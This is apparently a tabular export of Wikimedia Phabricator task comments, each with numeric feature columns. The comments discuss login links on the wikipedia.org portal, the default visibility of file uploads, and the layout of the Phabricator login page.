738183,Add login and create account links to www project portals,"Is there a need to have a login for the [[ https://www.wikipedia.org | wikipedia.org ]] portal page? That portal page is used as a starting or jumping off point, not necessarily as a destination but to facilitate discovery into other wiki's and projects.",,,1475514164,,PHID-USER-zc6idwnvpiijipvyjnlg,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,3,False,,,65,True,0.0,0.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,4.0,3.877551020408163,0.8163265306122449,"Is there a need to have a login for the [[ URL | wikipedia.org ]] portal page? That portal page is used as a starting or jumping off point, not necessarily as a destination but to facilitate discovery into other wiki's and projects."
737733,Add login and create account links to www project portals,"I'm missing a ""why"" in the task description.. 
Adding Portals project here, to let them evaluate this task.",,,1475423096,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,3,True,,,65,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,4.0,4.0,4.0,8.0,0.0,0.0,0.0,3.6,0.92,"I'm missing a ""why"" in the task description.. 
Adding Portals project here, to let them evaluate this task."
410238,Add login and create account links to www project portals,"I'd recommend, in order of if the info exists…


Last wiki used (logged in via)
Wiki with most recent edits
Home wiki (is this meaningful to users?)
Wiki where account was created

In the case of new account creation, we could redirect the user back to where they were before logging in, let them choose, and save that choice. Based on the above rules. 
",,,1423695235,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,1.0,0.0,7.0,2.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,1.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,8.0,4.0,1.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,16.0,4.0,1.0,0.0,0.0,5.0,0.0,2.0,0.0,1.0,1.0,0.0,1.0,0.0,3.5542168674698793,0.7590361445783133,"I'd recommend, in order of if the info exists…


Last wiki used (logged in via)
Wiki with most recent edits
Home wiki (is this meaningful to users?)
Wiki where account was created

In the case of new account creation, we could redirect the user back to where they were before logging in, let them choose, and save that choice. Based on the above rules. 
"
410237,Add login and create account links to www project portals,"I'd recommend, in order of if the info exists…


Last wiki used (logged in via)
Wiki with most recent edits
Home wiki (is this meaningful to users?)
Wiki where account was created
",,,1423695125,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,11.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,16.0,7.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.4,0.8222222222222222,"I'd recommend, in order of if the info exists…


Last wiki used (logged in via)
Wiki with most recent edits
Home wiki (is this meaningful to users?)
Wiki where account was created
"
408480,Add login and create account links to www project portals,"If home wiki is transparent to the end user, it doesn't really matter which wiki is designated as their home wiki, as long as it's reasonable. Heck we could probably designate Meta or something, or a ""www wikipedia"" home wiki that doesn't truly exist (kind of like Multilingual Wikisource).

If it actually matters in a substantive way, couldn't we just ask them which language they prefer?",,,1423443100,,PHID-USER-glyaaucrfe2f5ly43lqk,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,1,False,,,-21,True,0.0,1.0,0.0,1.0,4.0,4.0,1.0,0.0,0.0,2.0,5.0,4.0,0.0,0.0,0.0,2.0,0.0,15.0,10.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,4.0,2.0,7.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,10.0,10.0,6.0,1.0,2.0,0.0,10.0,0.0,4.0,2.0,1.0,0.0,0.0,0.0,0.0,3.975609756097561,0.7073170731707317,"If home wiki is transparent to the end user, it doesn't really matter which wiki is designated as their home wiki, as long as it's reasonable. Heck we could probably designate Meta or something, or a ""www wikipedia"" home wiki that doesn't truly exist (kind of like Multilingual Wikisource).

If it actually matters in a substantive way, couldn't we just ask them which language they prefer?"
408476,Add login and create account links to www project portals,"So we can add links, but which wiki will those links point to?",,,1423442579,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9333333333333333,"So we can add links, but which wiki will those links point to?"
6039,Add login and create account links to www project portals,"The open question that we need to answer, is if a new users invokes create account from this screen wikipedia.org which wiki will be considered their ""home wiki"" if that concept even exsists after SUL finalization.  

Since language selector in left sidebar does not seem to work when logged out on index.php?title=Special:UserLogin we should probably infer language from browser/OS when user chooses the Create account option. ",,,1416519436,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,1,False,,,-32,True,0.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,15.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,23.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,4.0,3.0,7.0,7.0,0.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,15.0,4.0,0.0,3.0,0.0,4.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,1.0,4.891891891891892,0.8513513513513513,"The open question that we need to answer, is if a new users invokes create account from this screen wikipedia.org which wiki will be considered their ""home wiki"" if that concept even exsists after SUL finalization.  

Since language selector in left sidebar does not seem to work when logged out on index.php?title=Special:UserLogin we should probably infer language from browser/OS when user chooses the Create account option. "
6036,Add login and create account links to www project portals,"{F1144}

Nemo, I think we could make the language selector a separate task, this refers to the control above. ",,,1416519038,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,1,False,,,-32,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.68,0.92,"{F1144}

Nemo, I think we could make the language selector a separate task, this refers to the control above. "
6035,Add login and create account links to www project portals,"I assume you mean all of the https://meta.wikimedia.org/wiki/Project_portals ? And the same for UniversalLanguageSelector, which is another currently missing personal tool?",,,1416518872,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,1,True,,,-32,True,4.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,9.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,4.0,17.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,4.0,9.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.695652173913044,0.9130434782608695,"I assume you mean all of the URL ? And the same for UniversalLanguageSelector, which is another currently missing personal tool?"
1248,"Default upload visibility should be ""Public (No Login Required)""","Upstream: https://secure.phabricator.com/T6564

The default visibility for files created at https://phabricator.wikimedia.org/file/upload/ should be ""Public (No Login Required)"".  This is the same behavior as Bugzilla.  Currently, the default is ""All Users"" which requires a login.

If possible, creating non-public files (or changing visibility of an existing file to non-public) should be limited to the Security group,",Low,25.0,1415752813,1418242965.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_description,resolved,True,c3,1,True,False,True,-34,True,1.0,0.0,0.0,1.0,0.0,12.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,19.0,1.0,1.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,8.0,0.0,5.0,0.0,0.0,0.0,1.0,3.0,0.0,4.0,0.0,0.0,0.0,3.8181818181818183,0.6883116883116883,"Upstream: URL

The default visibility for files created at URL should be ""Public (No Login Required)"".  This is the same behavior as Bugzilla.  Currently, the default is ""All Users"" which requires a login.

If possible, creating non-public files (or changing visibility of an existing file to non-public) should be limited to the Security group,"
340533,"Default upload visibility should be ""Public (No Login Required)""","This is the case now.

https://phabricator.wikimedia.org/applications/view/PhabricatorFilesApplication/ states
> Default View Policy: Public (No Login Required)

and going to https://phabricator.wikimedia.org/file/upload/ shows ""Public"" as default.",,,1418242965,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,22.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.130434782608696,0.8260869565217391,"This is the case now.

URL states
QUOTE

and going to URL shows ""Public"" as default."
334616,"Default upload visibility should be ""Public (No Login Required)""","Upstream has resolved its part (creating the policy). https://secure.phabricator.com/applications/view/PhabricatorFilesApplication/ now specifies

> Default View Policy: All Users

After upgrading Wikimedia Phabricator, we need to set this policy as ""Public (No Login Required"".",,,1417378008,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_subcomment,,True,c3,1,True,,,-31,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,8.0,16.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.135135135135135,0.8648648648648649,"Upstream has resolved its part (creating the policy). URL now specifies

QUOTE

After upgrading Wikimedia Phabricator, we need to set this policy as ""Public (No Login Required""."
333908,"Default upload visibility should be ""Public (No Login Required)""",This is Low priority upstream.,,,1417076243,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_subcomment,,True,c3,1,True,,,-31,True,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,This is Low priority upstream.
5656,"Default upload visibility should be ""Public (No Login Required)""",">>! In T1248#21573, @Aklapper wrote:
> /me wondering why this is set to high priority?

Because it's important that users (simply using the default setting without thinking about it) don't create a huge mess of incorrectly-permissioned files.  However, it's true that on further review it's not that bad since most people probably won't even know about the upload file page (the drag and drop message when you click the upload icon does not currently mention it).

>> Note that you cannot upload a file and then decrease the access level to the file (e.g linking it to a restricted security ticket). You would have to delete the file and reupload it with stricter access permissions. It is recommended to upload files which should have restricted access together with the creation of a restricted (security) ticket.

Thanks.

>>! In T1248#21580, @Qgil wrote:
> I could not find in phab-01 any configuration to set the default to Public. It would make sense for new uploads to have the same default Can View policy as ""Can Use Application"" (which is set to Public).

Filed as https://secure.phabricator.com/T6564 (""Set default permissions for file uploads to same as File application"")
 
> I couldn't find either a policy to limit who can set the Can View policy of files uploaded (just like Maniphest has one, and this is why regular users only have the option of public/private.

Filed as https://secure.phabricator.com/T6565 (""Allow limiting which ""Can View"" settings can be used for files"").
",,,1416018869,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_subcomment,,True,c3,1,True,,,-33,True,0.0,0.0,0.0,1.0,2.5,4.5,0.0,0.5,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,3.5,1.0,3.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,18.5,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,1.5,0.0,0.0,3.0,1.0,12.5,3.0,0.5,3.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,3.5,9.0,1.0,0.0,4.5,0.0,3.5,0.0,1.5,0.5,0.0,1.0,0.0,0.5,0.0,3.8248530076888287,0.7287426503844414,"QUOTE
QUOTE

Because it's important that users (simply using the default setting without thinking about it) don't create a huge mess of incorrectly-permissioned files.  However, it's true that on further review it's not that bad since most people probably won't even know about the upload file page (the drag and drop message when you click the upload icon does not currently mention it).

QUOTE

Thanks.

QUOTE
QUOTE

Filed as URL (""Set default permissions for file uploads to same as File application"")
 
QUOTE

Filed as URL (""Allow limiting which ""Can View"" settings can be used for files"").
"
5442,"Default upload visibility should be ""Public (No Login Required)""","First I wanted to check whether the files created via drag&drop are public, and they are. Then I checked the files at bugzillapreview, and they are also public. Therefore, this problem affects exclusively files uploaded via https://phabricator.wikimedia.org/file/upload/. Still a problem, but not high priority.

I could not find in phab-01 any configuration to set the default to Public. It would make sense for new uploads to have the same default Can View policy as ""Can Use Application"" (which is set to Public). 

I couldn't find either a policy to limit who can set the Can View policy of files uploaded (just like Maniphest has one, and this is why regular users only have the option of public/private.

@Mattflaschen , since you have experience reporting problems upstream, would you like to report these two (separate or together, your choice).",,,1415781265,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_subcomment,,True,c3,1,True,,,-34,True,0.5,0.0,0.0,0.5,1.5,5.5,1.5,0.0,0.0,0.0,1.5,0.5,0.0,0.5,0.0,2.0,0.0,7.0,10.0,0.0,2.5,0.0,0.5,0.0,1.0,0.0,0.0,0.5,3.5,1.0,0.5,5.0,2.5,0.5,1.0,2.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,11.0,0.5,1.0,0.5,0.5,0.0,1.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,2.5,11.5,1.5,3.5,7.0,0.0,0.0,0.0,0.0,6.5,0.0,1.5,0.0,5.5,10.0,3.0,0.0,1.0,0.0,5.5,0.0,2.0,1.0,0.0,0.5,0.0,0.0,0.0,4.0656038789303555,0.7274463708492507,"First I wanted to check whether the files created via drag&drop are public, and they are. Then I checked the files at bugzillapreview, and they are also public. Therefore, this problem affects exclusively files uploaded via URL Still a problem, but not high priority.

I could not find in phab-01 any configuration to set the default to Public. It would make sense for new uploads to have the same default Can View policy as ""Can Use Application"" (which is set to Public). 

I couldn't find either a policy to limit who can set the Can View policy of files uploaded (just like Maniphest has one, and this is why regular users only have the option of public/private.
SCREEN_NAME , since you have experience reporting problems upstream, would you like to report these two (separate or together, your choice)."
5441,"Default upload visibility should be ""Public (No Login Required)""","First I wanted to check whether the files created via drag&drop are public, and they are. Then I checked the files at bugzillapreview, and they are also public. Therefore, this problems affects exclusively via https://phabricator.wikimedia.org/file/upload/. Still a problem, but not high priority.

I could not find in phab-01 any configuration to set the default to Public. It would make sense for new uploads to have the same default Can View policy as ""Can Use Application"" (which is set to Public). 

I couldn't find either a policy to limit who can set the Can View policy of files uploaded (just like Maniphest has one, and this is why regular users only have the option of public/private.

@Mattflaschen , since you have experience reporting problems upstream, would you like to report these two (separate or together, your choice).",,,1415781207,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_subcomment,,True,c3,1,True,,,-34,True,0.5,0.0,0.0,0.5,1.5,5.5,1.5,0.0,0.0,0.0,1.5,0.5,0.0,0.5,0.0,2.0,0.0,7.0,10.0,0.0,2.5,0.0,0.5,0.0,1.0,0.0,0.0,0.5,3.5,1.0,0.5,5.0,2.5,0.5,1.0,2.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,10.5,0.5,1.0,0.5,0.5,0.0,0.5,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,2.5,11.5,1.5,3.5,7.0,0.0,0.0,0.0,0.0,6.5,0.0,1.5,0.0,5.5,10.0,3.0,0.0,1.0,0.0,5.5,0.0,2.0,1.0,0.0,0.5,0.0,0.0,0.0,4.0422312556458895,0.7424721469436917,"First I wanted to check whether the files created via drag&drop are public, and they are. Then I checked the files at bugzillapreview, and they are also public. Therefore, this problems affects exclusively via URL Still a problem, but not high priority.

I could not find in phab-01 any configuration to set the default to Public. It would make sense for new uploads to have the same default Can View policy as ""Can Use Application"" (which is set to Public). 

I couldn't find either a policy to limit who can set the Can View policy of files uploaded (just like Maniphest has one, and this is why regular users only have the option of public/private.
SCREEN_NAME , since you have experience reporting problems upstream, would you like to report these two (separate or together, your choice)."
5440,"Default upload visibility should be ""Public (No Login Required)""","Test uploading F783 right here.

{F783}",,,1415780409,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.5,0.9,"Test uploading F783 right here.

{F783}"
5437,"Default upload visibility should be ""Public (No Login Required)""","/me wondering why this is set to high priority?

> (or changing visibility of an existing file to non-public)

For the records, https://www.mediawiki.org/wiki/Phabricator/Help#Uploading_file_attachments states:
> Note that you cannot upload a file and then decrease the access level to the file (e.g linking it to a restricted security ticket). You would have to delete the file and reupload it with stricter access permissions. It is recommended to upload files which should have restricted access together with the creation of a restricted (security) ticket.",,,1415755584,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-x2m6e5ivyo5hc3pydkvx,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,18.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5454545454545454,0.9090909090909091,"/me wondering why this is set to high priority?

QUOTE

For the records, URL states:
QUOTE"
862,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Let's improve https://phabricator.wikimedia.org/auth/start/

* The LDAP login form is the most prominent element, but in fact most users can't use it, or have no idea what LDAP is, and just confuse it with a Wikimedia login.
* The position of the MediaWiki login down there is too secondary. Many users have no clue that THIS is what you need to click.
* The text at the top could be put to better use. (Currently `You can use your unified Wikimedia account or your Labs/LDAP user to login.`)

Jared has volunteered to work on a mockup. We will need to agree on its feasibility. Phabricator doesn't offer any configuration of this page out of the box.",Low,25.0,1414181206,1579196023.0,PHID-USER-z3kqk2bjnqneldcznht6,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-35vifryt7kj2fw5nkott,task_description,declined,True,c3,1,False,False,False,-36,True,1.5,0.0,0.0,1.0,1.5,3.0,1.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,1.0,0.0,4.5,10.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.5,0.0,0.0,1.0,0.0,0.0,11.5,1.0,1.0,0.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,6.0,3.0,10.0,1.0,1.5,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,10.5,3.0,0.0,0.0,0.0,4.0,0.0,1.5,1.5,0.0,0.0,1.0,1.0,0.0,3.5901639344262297,0.778688524590164,"Let's improve URL

* The LDAP login form is the most prominent element, but in fact most users can't use it, or have no idea what LDAP is, and just confuse it with a Wikimedia login.
* The position of the MediaWiki login down there is too secondary. Many users have no clue that THIS is what you need to click.
* The text at the top could be put to better use. (Currently CODE)

Jared has volunteered to work on a mockup. We will need to agree on its feasibility. Phabricator doesn't offer any configuration of this page out of the box."
1426790,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,I don't see any real difference in the two screenshots. Anyway if it's not resolved then I'm going to decline this as we don't plan to make changes.,,,1579196023,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,237,True,3.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,3.0,6.0,9.0,0.0,0.0,0.0,9.0,0.0,15.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5588235294117645,0.8529411764705882,I don't see any real difference in the two screenshots. Anyway if it's not resolved then I'm going to decline this as we don't plan to make changes.
